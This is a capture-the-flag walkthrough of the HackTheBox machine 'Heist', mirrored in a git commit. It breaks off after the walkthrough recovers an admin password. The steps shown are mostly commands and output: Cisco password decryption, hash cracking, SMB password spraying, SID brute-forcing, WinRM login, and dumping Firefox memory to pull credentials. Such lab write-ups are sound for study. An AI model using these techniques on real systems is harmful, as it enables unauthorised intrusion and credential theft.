mirror of
http://git.nowherejezfoltodf4jiyl6r56jnzintap5vyjlia7fkirfsnfizflqd.onion/nihilist/hacking-blogposts.git
synced 2025-07-02 10:36:41 +00:00
add hacking blogposts as they are
This commit is contained in:
parent
fa65088be1
commit
325b9c3814
1904 changed files with 91353 additions and 0 deletions
698
Easy/36.md
Normal file
698
Easy/36.md
Normal file
|
|
@ -0,0 +1,698 @@
|
|||
# Heist Writeup
|
||||
|
||||
|
||||
|
||||
## Heist Introduction :
|
||||
|
||||
Heist is an easy Windows box that was released back in August 2019.
|
||||
|
||||
## **Part 1 : Initial Enumeration**
|
||||
|
||||
As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions.
|
||||
|
||||
|
||||
λ nihilist [ 10.10.14.7/23 ] [~]
|
||||
→ nmap -F 10.10.10.149
|
||||
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-18 08:26 GMT
|
||||
Nmap scan report for 10.10.10.149
|
||||
Host is up (0.098s latency).
|
||||
Not shown: 97 filtered ports
|
||||
PORT STATE SERVICE
|
||||
80/tcp open http
|
||||
135/tcp open msrpc
|
||||
445/tcp open microsoft-ds
|
||||
|
||||
Nmap done: 1 IP address (1 host up) scanned in 3.04 seconds
|
||||
|
||||
λ nihilist [ 10.10.14.7/23 ] [~]
|
||||
→ nmap -sCV -p80,135,445 10.10.10.149
|
||||
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-18 08:28 GMT
|
||||
Nmap scan report for 10.10.10.149
|
||||
Host is up (0.11s latency).
|
||||
|
||||
PORT STATE SERVICE VERSION
|
||||
80/tcp open http Microsoft IIS httpd 10.0
|
||||
| http-cookie-flags:
|
||||
| /:
|
||||
| PHPSESSID:
|
||||
|_ httponly flag not set
|
||||
| http-methods:
|
||||
|_ Potentially risky methods: TRACE
|
||||
|_http-server-header: Microsoft-IIS/10.0
|
||||
| http-title: Support Login Page
|
||||
|_Requested resource was login.php
|
||||
135/tcp open msrpc Microsoft Windows RPC
|
||||
445/tcp open microsoft-ds?
|
||||
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
|
||||
|
||||
Host script results:
|
||||
|_clock-skew: 57s
|
||||
| smb2-security-mode:
|
||||
| 2.02:
|
||||
|_ Message signing enabled but not required
|
||||
| smb2-time:
|
||||
| date: 2020-02-18T08:30:02
|
||||
|_ start_date: N/A
|
||||
|
||||
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
|
||||
Nmap done: 1 IP address (1 host up) scanned in 65.57 seconds
|
||||
|
||||
|
||||
## **Part 2 : Getting User Access**
|
||||
|
||||
Our nmap scan picked up the http service on port 80 so let's see what we are dealing with. http://10.10.10.149/login.php and we navigate over to issues.php
|
||||
|
||||
 
|
||||
|
||||
|
||||
version 12.2
|
||||
no service pad
|
||||
service password-encryption
|
||||
!
|
||||
isdn switch-type basic-5ess
|
||||
!
|
||||
hostname ios-1
|
||||
!
|
||||
security passwords min-length 12
|
||||
enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91
|
||||
!
|
||||
username rout3r password 7 0242114B0E143F015F5D1E161713
|
||||
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408
|
||||
!
|
||||
!
|
||||
ip ssh authentication-retries 5
|
||||
ip ssh version 2
|
||||
!
|
||||
!
|
||||
router bgp 100
|
||||
synchronization
|
||||
bgp log-neighbor-changes
|
||||
bgp dampening
|
||||
network 192.168.0.0Â mask 300.255.255.0
|
||||
timers bgp 3 9
|
||||
redistribute connected
|
||||
!
|
||||
ip classless
|
||||
ip route 0.0.0.0 0.0.0.0 192.168.0.1
|
||||
!
|
||||
!
|
||||
access-list 101 permit ip any any
|
||||
dialer-list 1 protocol ip list 101
|
||||
!
|
||||
no ip http server
|
||||
no ip http secure-server
|
||||
!
|
||||
line vty 0 4
|
||||
session-timeout 600
|
||||
authorization exec SSH
|
||||
transport input ssh
|
||||
|
||||
|
||||
|
||||
Here we have a cisco router config, with 2 type 7 passwords, so we'll use [this python script](https://github.com/theevilbit/ciscot7) to decrypt them. As for the type 5 password we'll just use hashcat in combination with rockyou.txt to find the password.
|
||||
|
||||
|
||||
λ nihilist [ 10.10.14.7/23 ] [~/_HTB/Heist]
|
||||
→ git clone https://github.com/theevilbit/ciscot7
|
||||
Cloning into 'ciscot7'...
|
||||
remote: Enumerating objects: 4, done.
|
||||
remote: Counting objects: 100% (4/4), done.
|
||||
remote: Compressing objects: 100% (4/4), done.
|
||||
remote: Total 19 (delta 0), reused 0 (delta 0), pack-reused 15
|
||||
Unpacking objects: 100% (19/19), 6.73 KiB | 574.00 KiB/s, done.
|
||||
|
||||
λ nihilist [ 10.10.14.7/23 ] [~/_HTB/Heist]
|
||||
→ cd ciscot7
|
||||
|
||||
λ nihilist [ 10.10.14.7/23 ] [_HTB/Heist/ciscot7] at master ✔
|
||||
→ ls [21af318]
|
||||
ciscot7.py LICENSE.md README.md
|
||||
|
||||
λ nihilist [ 10.10.14.7/23 ] [_HTB/Heist/ciscot7] at master ✔
|
||||
→ python ciscot7.py -p 0242114B0E143F015F5D1E161713 [21af318]
|
||||
Decrypted password: $uperP@ssword
|
||||
|
||||
λ nihilist [ 10.10.14.7/23 ] [_HTB/Heist/ciscot7] at master ✔
|
||||
→ python ciscot7.py -p 02375012182C1A1D751618034F36415408 [21af318]
|
||||
Decrypted password: Q4)sJu\Y8qz*A3?d
|
||||
|
||||
|
||||
now that we have the two type 7 passwords, we'll try to get the type 5 password using hashcat and rockyou.txt
|
||||
|
||||
|
||||
λ nihilist [ 10.10.14.7/23 ] [_HTB/Heist/ciscot7] at master ✔
|
||||
→ echo '$1$pdQG$o8nrSzsGXeaduXrjlvKc91' >> cis.md5 [21af318]
|
||||
|
||||
λ nihilist [ 10.10.14.7/23 ] [_HTB/Heist/ciscot7] at master ?
|
||||
→ cat cis.md5 [21af318]
|
||||
$1$pdQG$o8nrSzsGXeaduXrjlvKc91
|
||||
|
||||
λ nihilist [ 10.10.14.7/23 ] [_HTB/Heist/ciscot7] at master ?
|
||||
→ hashcat -m 500 [21af318]
|
||||
Usage: hashcat [options]... hash|hashfile|hccapxfile [dictionary|mask|directory]...
|
||||
|
||||
Try --help for more help.
|
||||
|
||||
λ nihilist [ 10.10.14.7/23 ] [_HTB/Heist/ciscot7] at master ?
|
||||
→ hashcat -m 500 cis.md5 /usr/share/wordlists/rockyou.txt [21af318]
|
||||
|
||||
|
||||
This takes some time to run, but we get the password "stealth1agent"
|
||||
|
||||
* rout3r:$uperP@ssword
|
||||
* admin:Q4)sJu\Y8qz*A3?d
|
||||
* secret:stealth1agent
|
||||
|
||||
|
||||
|
||||
other than those credentials, we have potential usernames : Hazard
|
||||
|
||||
In other words, we have 4 possible usernames, and 3 possible passwords, let's create users.txt and pass.txt , in order to use crackmapexec on the shares our nmap scan picked up earlier.
|
||||
|
||||
|
||||
λ nihilist [ 10.10.14.7/23 ] [~/_HTB/Heist]
|
||||
→ nano users.txt
|
||||
|
||||
λ nihilist [ 10.10.14.7/23 ] [~/_HTB/Heist]
|
||||
→ nano pass.txt
|
||||
|
||||
λ nihilist [ 10.10.14.7/23 ] [~/_HTB/Heist]
|
||||
→ crackmapexec smb 10.10.10.149 -u users.txt -p pass.txt
|
||||
SMB 10.10.10.149 445 SUPPORTDESK [*] Windows 10.0 Build 17763 x64 (name:SUPPORTDESK) (domain:SUPPORTDESK) (signing:False) (SMBv1:False)
|
||||
SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\secret:$uperP@ssword STATUS_LOGON_FAILURE
|
||||
SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\secret:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE
|
||||
SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\secret:stealth1agent STATUS_LOGON_FAILURE
|
||||
SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\admin:$uperP@ssword STATUS_LOGON_FAILURE
|
||||
SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\admin:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE
|
||||
SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\admin:stealth1agent STATUS_LOGON_FAILURE
|
||||
SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\rout3r:$uperP@ssword STATUS_LOGON_FAILURE
|
||||
SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\rout3r:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE
|
||||
SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\rout3r:stealth1agent STATUS_LOGON_FAILURE
|
||||
SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\hazard:$uperP@ssword STATUS_LOGON_FAILURE
|
||||
SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\hazard:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE
|
||||
SMB 10.10.10.149 445 SUPPORTDESK [+] SUPPORTDESK\hazard:stealth1agent
|
||||
SMB 10.10.10.149 445 SUPPORTDESK [+] Enumerated shares
|
||||
SMB 10.10.10.149 445 SUPPORTDESK Share Permissions Remark
|
||||
SMB 10.10.10.149 445 SUPPORTDESK ----- ----------- ------
|
||||
SMB 10.10.10.149 445 SUPPORTDESK ADMIN$ Remote Admin
|
||||
SMB 10.10.10.149 445 SUPPORTDESK C$ Default share
|
||||
SMB 10.10.10.149 445 SUPPORTDESK IPC$ READ Remote IPC
|
||||
|
||||
|
||||
We get matching credentials for hazard:stealth1agent ! Let's fire up the metasploit database and then launch msfconsole to see what we can do from there.
|
||||
|
||||
|
||||
λ root [ 10.10.14.7/23 ] [nihilist/_HTB/Heist]
|
||||
→ msfdb init
|
||||
[+] Starting database
|
||||
[+] Creating database user 'msf'
|
||||
[+] Creating databases 'msf'
|
||||
[+] Creating databases 'msf_test'
|
||||
[+] Creating configuration file '/usr/share/metasploit-framework/config/database.yml'
|
||||
[+] Creating initial database schema
|
||||
|
||||
λ root [ 10.10.14.7/23 ] [nihilist/_HTB/Heist]
|
||||
→ msfconsole
|
||||
|
||||
msf5 > creds
|
||||
Credentials
|
||||
===========
|
||||
|
||||
host origin service public private realm private_type JtR Format
|
||||
---- ------ ------- ------ ------- ----- ------------ ----------
|
||||
|
||||
msf5 > use auxiliary/scanner/smb/smb_login
|
||||
msf5 auxiliary(scanner/smb/smb_login) > setg USER_FILE user.txt
|
||||
USER_FILE => user.txt
|
||||
msf5 auxiliary(scanner/smb/smb_login) > setg PASS_FILE pass.txt
|
||||
PASS_FILE => pass.txt
|
||||
msf5 auxiliary(scanner/smb/smb_login) > setg RHOSTS 10.10.10.149
|
||||
RHOSTS => 10.10.10.149
|
||||
msf5 auxiliary(scanner/smb/smb_login) > run
|
||||
|
||||
|
||||
we can also run this and we would get the same results as the python script we ran before, matching hazard:stealth1agent, for this next section we'll use impacket scripts to continue with our enumeration process
|
||||
|
||||
|
||||
λ root [ 10.10.14.7/23 ] [nihilist/_HTB/Heist]
|
||||
→ locate psexec.py
|
||||
/usr/share/doc/python3-impacket/examples/psexec.py
|
||||
/usr/share/set/src/fasttrack/psexec.py
|
||||
|
||||
λ root [ 10.10.14.7/23 ] [nihilist/_HTB/Heist]
|
||||
→ cd /usr/share/doc/python3-impacket/examples/
|
||||
|
||||
λ root [ 10.10.14.7/23 ] [doc/python3-impacket/examples]
|
||||
→ ls
|
||||
atexec.py getST.py mimikatz.py opdump.py rpcdump.py smbserver.py
|
||||
dcomexec.py getTGT.py mqtt_check.py ping6.py sambaPipe.py sniffer.py
|
||||
dpapi.py GetUserSPNs.py mssqlclient.py ping.py samrdump.py sniff.py
|
||||
esentutl.py goldenPac.py mssqlinstance.py psexec.py secretsdump.py split.py
|
||||
GetADUsers.py ifmap.py netview.py raiseChild.py services.py ticketer.py
|
||||
getArch.py karmaSMB.py nmapAnswerMachine.py rdp_check.py smbclient.py wmiexec.py
|
||||
GetNPUsers.py kintercept.py ntfs-read.py registry-read.py smbexec.py wmipersist.py
|
||||
getPac.py lookupsid.py ntlmrelayx.py reg.py smbrelayx.py wmiquery.py
|
||||
|
||||
λ root [ 10.10.14.7/23 ] [doc/python3-impacket/examples]
|
||||
→ python3 lookupsid.py 'hazard:stealth1agent'@10.10.10.149
|
||||
|
||||
|
||||
The above command is going to run a RID/SID bruteforce which is going to give us more usernames
|
||||
|
||||
|
||||
λ root [ 10.10.14.7/23 ] [doc/python3-impacket/examples]
|
||||
→ python3 lookupsid.py 'hazard:stealth1agent'@10.10.10.149
|
||||
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation
|
||||
|
||||
[*] Brute forcing SIDs at 10.10.10.149
|
||||
[*] StringBinding ncacn_np:10.10.10.149[\pipe\lsarpc]
|
||||
[*] Domain SID is: S-1-5-21-4254423774-1266059056-3197185112
|
||||
500: SUPPORTDESK\Administrator (SidTypeUser)
|
||||
501: SUPPORTDESK\Guest (SidTypeUser)
|
||||
503: SUPPORTDESK\DefaultAccount (SidTypeUser)
|
||||
504: SUPPORTDESK\WDAGUtilityAccount (SidTypeUser)
|
||||
513: SUPPORTDESK\None (SidTypeGroup)
|
||||
1008: SUPPORTDESK\Hazard (SidTypeUser)
|
||||
1009: SUPPORTDESK\support (SidTypeUser)
|
||||
1012: SUPPORTDESK\Chase (SidTypeUser)
|
||||
1013: SUPPORTDESK\Jason (SidTypeUser)
|
||||
|
||||
|
||||
And we're getting interesting results ! we have a few more possible usernames to add to our users.txt file
|
||||
|
||||
|
||||
secret
|
||||
admin
|
||||
rout3r
|
||||
hazard
|
||||
support
|
||||
chase
|
||||
jason
|
||||
|
||||
|
||||
running crackmapexec again, we are getting other matching credentials :
|
||||
|
||||
|
||||
λ nihilist [ 10.10.14.7/23 ] [~/_HTB/Heist]
|
||||
→ crackmapexec smb 10.10.10.149 -u users.txt -p pass.txt
|
||||
SMB 10.10.10.149 445 SUPPORTDESK [*] Windows 10.0 Build 17763 x64 (name:SUPPORTDESK) (domain:SUPPORTDESK) (signing:False) (SMBv1:False)
|
||||
SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\secret:$uperP@ssword STATUS_LOGON_FAILURE
|
||||
SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\secret:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE
|
||||
SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\secret:stealth1agent STATUS_LOGON_FAILURE
|
||||
SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\admin:$uperP@ssword STATUS_LOGON_FAILURE
|
||||
SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\admin:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE
|
||||
SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\admin:stealth1agent STATUS_LOGON_FAILURE
|
||||
SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\rout3r:$uperP@ssword STATUS_LOGON_FAILURE
|
||||
SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\rout3r:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE
|
||||
SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\rout3r:stealth1agent STATUS_LOGON_FAILURE
|
||||
SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\support:$uperP@ssword STATUS_LOGON_FAILURE
|
||||
SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\support:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE
|
||||
SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\support:stealth1agent STATUS_LOGON_FAILURE
|
||||
SMB 10.10.10.149 445 SUPPORTDESK [-] SUPPORTDESK\chase:$uperP@ssword STATUS_LOGON_FAILURE
|
||||
SMB 10.10.10.149 445 SUPPORTDESK [+] SUPPORTDESK\chase:Q4)sJu\Y8qz*A3?d
|
||||
|
||||
|
||||
Now that we have our matching credentials : chase:Q4)sJu\Y8qz*A3?d let's use evil-winrm to login.
|
||||
|
||||
|
||||
λ nihilist [ 10.10.14.7/23 ] [~/_HTB/Heist]
|
||||
→ git clone https://github.com/Hackplayers/evil-winrm
|
||||
Cloning into 'evil-winrm'...
|
||||
remote: Enumerating objects: 65, done.
|
||||
remote: Counting objects: 100% (65/65), done.
|
||||
remote: Compressing objects: 100% (54/54), done.
|
||||
remote: Total 765 (delta 33), reused 27 (delta 11), pack-reused 700
|
||||
Receiving objects: 100% (765/765), 1.97 MiB | 485.00 KiB/s, done.
|
||||
Resolving deltas: 100% (438/438), done.
|
||||
|
||||
λ nihilist [ 10.10.14.7/23 ] [~/_HTB/Heist]
|
||||
→ cd evil-winrm
|
||||
|
||||
λ nihilist [ 10.10.14.7/23 ] [_HTB/Heist/evil-winrm] at master ✔
|
||||
→ cat Gemfile [e501272]
|
||||
source 'https://rubygems.org'
|
||||
|
||||
gem 'winrm'
|
||||
gem 'winrm-fs'
|
||||
gem 'stringio'
|
||||
|
||||
λ nihilist [ 10.10.14.7/23 ] [_HTB/Heist/evil-winrm] at master ✔
|
||||
→ gem install winrm winrm-fs stringio [e501272]
|
||||
Fetching: builder-3.2.4.gem (100%)
|
||||
ERROR: While executing gem ... (Gem::FilePermissionError)
|
||||
You don't have write permissions for the /var/lib/gems/2.5.0 directory.
|
||||
|
||||
λ nihilist [ 10.10.14.7/23 ] [_HTB/Heist/evil-winrm] at master ✔
|
||||
→ sudo !! [e501272]
|
||||
|
||||
λ nihilist [ 10.10.14.7/23 ] [_HTB/Heist/evil-winrm] at master ✔
|
||||
→ sudo gem install winrm winrm-fs stringio [e501272]
|
||||
[sudo] password for nihilist:
|
||||
|
||||
|
||||
Once that's done, run the ruby script as follows:
|
||||
|
||||
|
||||
λ nihilist [ 10.10.14.7/23 ] [_HTB/Heist/evil-winrm] at master ✔
|
||||
→ ruby evil-winrm.rb -u chase -p 'Q4)sJu\Y8qz*A3?d' -i 10.10.10.149 [e501272]
|
||||
|
||||
Evil-WinRM shell v2.3
|
||||
|
||||
Info: Establishing connection to remote endpoint
|
||||
|
||||
*Evil-WinRM* PS C:\Users\Chase\Documents>
|
||||
|
||||
|
||||
And we are logged in as the Chase user!
|
||||
|
||||
|
||||
*Evil-WinRM* PS C:\Users\Chase\Documents> cd ..
|
||||
*Evil-WinRM* PS C:\Users\Chase> gci -recurse . | select fullname
|
||||
|
||||
FullName
|
||||
--------
|
||||
C:\Users\Chase\3D Objects
|
||||
C:\Users\Chase\Contacts
|
||||
C:\Users\Chase\Desktop
|
||||
C:\Users\Chase\Documents
|
||||
C:\Users\Chase\Downloads
|
||||
C:\Users\Chase\Favorites
|
||||
C:\Users\Chase\Links
|
||||
C:\Users\Chase\Music
|
||||
C:\Users\Chase\Pictures
|
||||
C:\Users\Chase\Saved Games
|
||||
C:\Users\Chase\Searches
|
||||
C:\Users\Chase\Videos
|
||||
C:\Users\Chase\Desktop\todo.txt
|
||||
C:\Users\Chase\Desktop\user.txt
|
||||
C:\Users\Chase\Favorites\Links
|
||||
C:\Users\Chase\Favorites\Bing.url
|
||||
C:\Users\Chase\Links\Desktop.lnk
|
||||
C:\Users\Chase\Links\Downloads.lnk
|
||||
|
||||
*Evil-WinRM* PS C:\Users\Chase> type Desktop\user.txt
|
||||
a1XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
|
||||
|
||||
|
||||
and that's it ! we have been able to print out the user flag :)
|
||||
|
||||
## **Part 3 : Getting Root Access**
|
||||
|
||||
In order to privesc, let's check out the files we can view beforehand.
|
||||
|
||||
|
||||
*Evil-WinRM* PS C:\Users\Chase> cd Desktop
|
||||
*Evil-WinRM* PS C:\Users\Chase\Desktop> type todo.txt
|
||||
Stuff to-do:
|
||||
1. Keep checking the issues list.
|
||||
2. Fix the router config.
|
||||
|
||||
Done:
|
||||
1. Restricted access for guest user.
|
||||
|
||||
|
||||
looks like they had to fix the router config, as we saw earlier in the issues.php webpage on the http service running on port 80.
|
||||
|
||||
|
||||
*Evil-WinRM* PS C:\Users> cd Hazard
|
||||
*Evil-WinRM* PS C:\Users\Hazard> dir
|
||||
Access to the path 'C:\Users\Hazard' is denied.
|
||||
At line:1 char:1
|
||||
+ dir
|
||||
+ ~~~
|
||||
+ CategoryInfo : PermissionDenied: (C:\Users\Hazard:String) [Get-ChildItem], UnauthorizedAccessException
|
||||
+ FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand
|
||||
|
||||
|
||||
checking out hazard's user directory, we get permissions denied. We know there is a webserver, so let's enumerate it.
|
||||
|
||||
|
||||
*Evil-WinRM* PS C:\> cd inetpub
|
||||
*Evil-WinRM* PS C:\inetpub> cd wwwroot
|
||||
*Evil-WinRM* PS C:\inetpub\wwwroot> dir
|
||||
Access to the path 'C:\inetpub\wwwroot' is denied.
|
||||
At line:1 char:1
|
||||
+ dir
|
||||
+ ~~~
|
||||
+ CategoryInfo : PermissionDenied: (C:\inetpub\wwwroot:String) [Get-ChildItem], UnauthorizedAccessException
|
||||
+ FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand
|
||||
*Evil-WinRM* PS C:\inetpub\wwwroot>
|
||||
|
||||
|
||||
Weird, we don't have permissions to see what files are there in the wwwroot directory, although we know for a fact that index.php, login.php ,issues.php are there. Let's check out the most interesting one : login.php
|
||||
|
||||
|
||||
session_start();
|
||||
if( isset($_REQUEST['login']) && !empty($_REQUEST['login_username']) && !empty($_REQUEST['login_password'])) {
|
||||
if( $_REQUEST['login_username'] === 'admin@support.htb' && hash( 'sha256', $_REQUEST['login_password']) === '91c077fb5bcdd1eacf7268c945bc1d1ce2faf9634cba615337adbf0af4db9040') {
|
||||
$_SESSION['admin'] = "valid";
|
||||
header('Location: issues.php');
|
||||
}
|
||||
else
|
||||
header('Location: errorpage.php');
|
||||
}
|
||||
else if( isset($_GET['guest']) ) {
|
||||
if( $_GET['guest'] === 'true' ) {
|
||||
$_SESSION['guest'] = "valid";
|
||||
header('Location: issues.php');
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
Looking at the results, we see a few interesting information : admin@support.htb, and a hash sha256 91c077fb5bcdd1eacf7268c945bc1d1ce2faf9634cba615337adbf0af4db9040. So navigating over to [hashes.org](hashes.org/search.php) we paste our hash and see that sadly, hashes.org can't find it for us, so we navigate over to the attachments directory
|
||||
|
||||
|
||||
*Evil-WinRM* PS C:\inetpub\wwwroot> cd attachments
|
||||
*Evil-WinRM* PS C:\inetpub\wwwroot\attachments> gci
|
||||
|
||||
|
||||
Directory: C:\inetpub\wwwroot\attachments
|
||||
|
||||
|
||||
Mode LastWriteTime Length Name
|
||||
---- ------------- ------ ----
|
||||
-a---- 4/21/2019 1:02 PM 780 config.txt
|
||||
|
||||
|
||||
this is the config.txt we found earlier, but since we don't have the writing rights to put our reverse shell in here, let's try to enumerate the machine a little further.
|
||||
|
||||
|
||||
*Evil-WinRM* PS C:\inetpub\wwwroot\attachments> cd /
|
||||
*Evil-WinRM* PS C:\> gci
|
||||
|
||||
|
||||
Directory: C:\
|
||||
|
||||
|
||||
Mode LastWriteTime Length Name
|
||||
---- ------------- ------ ----
|
||||
d----- 4/21/2019 5:33 PM inetpub
|
||||
d----- 9/15/2018 12:49 PM PerfLogs
|
||||
d-r--- 8/27/2019 3:00 PM Program Files
|
||||
d----- 4/22/2019 6:56 AM Program Files (x86)
|
||||
d-r--- 4/22/2019 7:26 AM Users
|
||||
d----- 8/27/2019 3:01 PM Windows
|
||||
|
||||
|
||||
*Evil-WinRM* PS C:\> cd "Program Files"
|
||||
*Evil-WinRM* PS C:\Program Files> gci
|
||||
|
||||
|
||||
Directory: C:\Program Files
|
||||
|
||||
|
||||
Mode LastWriteTime Length Name
|
||||
---- ------------- ------ ----
|
||||
d----- 4/21/2019 9:39 AM Common Files
|
||||
d----- 4/21/2019 11:00 AM internet explorer
|
||||
d----- 4/22/2019 6:56 AM Mozilla Firefox
|
||||
d----- 4/22/2019 6:47 AM PHP
|
||||
d----- 4/22/2019 6:46 AM Reference Assemblies
|
||||
d----- 4/22/2019 6:46 AM runphp
|
||||
d----- 8/27/2019 3:00 PM VMware
|
||||
d-r--- 4/21/2019 11:00 AM Windows Defender
|
||||
d----- 4/21/2019 11:00 AM Windows Defender Advanced Threat Protection
|
||||
d----- 9/15/2018 12:49 PM Windows Mail
|
||||
d----- 4/21/2019 11:00 AM Windows Media Player
|
||||
d----- 9/15/2018 12:49 PM Windows Multimedia Platform
|
||||
d----- 9/15/2018 12:58 PM windows nt
|
||||
d----- 4/21/2019 11:00 AM Windows Photo Viewer
|
||||
d----- 9/15/2018 12:49 PM Windows Portable Devices
|
||||
d----- 9/15/2018 12:49 PM Windows Security
|
||||
d----- 9/15/2018 12:49 PM WindowsPowerShell
|
||||
|
||||
|
||||
We see that Firefox is installed, let's see if firefox is running using Get-Process
|
||||
|
||||
|
||||
*Evil-WinRM* PS C:\Program Files> Get-Process
|
||||
|
||||
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
|
||||
------- ------ ----- ----- ------ -- -- -----------
|
||||
445 17 2268 5632 416 0 csrss
|
||||
293 17 2288 5216 500 1 csrss
|
||||
358 15 3488 14520 5244 1 ctfmon
|
||||
257 14 4144 13504 3988 0 dllhost
|
||||
166 9 1880 9812 0.61 6596 1 dllhost
|
||||
619 32 33752 59888 372 1 dwm
|
||||
1491 58 23660 78168 5624 1 explorer
|
||||
1129 69 118928 157936 28.55 2204 1 firefox
|
||||
343 20 9980 37448 0.50 6272 1 firefox
|
||||
408 31 16888 62536 1.34 6516 1 firefox
|
||||
390 30 30596 64112 42.83 6860 1 firefox
|
||||
358 26 16348 37612 0.69 7020 1 firefox
|
||||
|
||||
|
||||
From there, we need to processdump one of the firefox processes, to do so we'll use sysinternals
|
||||
|
||||
_Terminal 2:_
|
||||
|
||||
|
||||
λ nihilist [ 10.10.14.7/23 ] [~/_HTB/Heist]
|
||||
→ wget https://download.sysinternals.com/files/SysinternalsSuite.zip
|
||||
|
||||
λ nihilist [ 10.10.14.7/23 ] [~/_HTB/Heist]
|
||||
→ mv ~/Downloads/SysinternalsSuite.zip .
|
||||
|
||||
λ nihilist [ 10.10.14.7/23 ] [~/_HTB/Heist]
|
||||
→ unzip SysinternalsSuite.zip
|
||||
|
||||
|
||||
_Terminal 1:_
|
||||
|
||||
|
||||
*Evil-WinRM* PS C:\Program Files> cd \users\chase\Documents
|
||||
*Evil-WinRM* PS C:\users\chase\Documents> upload /home/nihilist/_HTB/Heist/procdump64.exe
|
||||
Info: Uploading /home/nihilist/_HTB/Heist/procdump64.exe to C:\users\chase\Documents\procdump64.exe
|
||||
|
||||
Data: 455560 bytes of 455560 bytes copied
|
||||
|
||||
Info: Upload successful!
|
||||
|
||||
|
||||
once it's uploaded, we can basically dump the firefox process we mentionned earlier. we'll set a few flags to run the binary we uploaded : -accepteula (self explanatory) -ma (write a full dump file)
|
||||
|
||||
|
||||
*Evil-WinRM* PS C:\users\chase\Documents> .\procdump64.exe -accepteula -ma 2204
|
||||
|
||||
ProcDump v9.0 - Sysinternals process dump utility
|
||||
Copyright (C) 2009-2017 Mark Russinovich and Andrew Richards
|
||||
Sysinternals - www.sysinternals.com
|
||||
|
||||
[15:30:36] Dump 1 initiated: C:\users\chase\Documents\firefox.exe_200218_153036.dmp
|
||||
[15:30:36] Dump 1 writing: Estimated dump file size is 460 MB.
|
||||
[15:30:38] Dump 1 complete: 460 MB written in 1.8 seconds
|
||||
[15:30:38] Dump count reached.
|
||||
|
||||
|
||||
Be aware that the accepteula flag creates a registry entry, which is basically forensic artifact on the box. looking at the results :
|
||||
|
||||
|
||||
Evil-WinRM* PS C:\users\chase\Documents> gci
|
||||
|
||||
|
||||
Directory: C:\users\chase\Documents
|
||||
|
||||
|
||||
Mode LastWriteTime Length Name
|
||||
---- ------------- ------ ----
|
||||
-a---- 2/18/2020 3:30 PM 470485425 firefox.exe_200218_153036.dmp
|
||||
-a---- 2/18/2020 3:26 PM 341672 procdump64.exe
|
||||
|
||||
|
||||
|
||||
We're getting a massive file so let's download it rather than printing it's contents in the reverse shell,
|
||||
|
||||
_Terminal 1:_
|
||||
|
||||
|
||||
*Evil-WinRM* PS C:\users\chase\Documents> download firefox.exe_200218_153036.dmp
|
||||
Info: Downloading C:\users\chase\Documents\firefox.exe_200218_153036.dmp to firefox.exe_200218_153036.dmp
|
||||
|
||||
|
||||
We're downloading a massive file and it takes forever, so let's print out the contents of the .dmp file locally looking for passwords
|
||||
|
||||
_Terminal 2:_
|
||||
|
||||
|
||||
λ nihilist [ 10.10.14.7/23 ] [_HTB/Heist/evil-winrm] at master ?
|
||||
→ strings firefox.exe_200218_153036.dmp | grep pass [e501272]
|
||||
"C:\Program Files\Mozilla Firefox\firefox.exe" localhost/login.php?login_username=admin@support.htb&login;_password=4dD!5}x/re8]FBuZ&login;=
|
||||
MOZ_CRASHREPORTER_RESTART_ARG_1=localhost/login.php?login_username=admin@support.htb&login;_password=4dD!5}x/re8]FBuZ&login;=
|
||||
localhost/login.php?login_username=admin@support.htb&login;_password=4dD!5}x/re8]FBuZ&login;=
|
||||
MOZ_CRASHREPORTER_RESTART_ARG_1=localhost/login.php?login_username=admin@support.htb&login;_password=4dD!5}x/re8]FBuZ&login;=
|
||||
x:///chrome/toolkit/content/passwordmgr/
|
||||
x:///chrome/en-US/locale/en-US/passwordmgr/
|
||||
|
||||
|
||||
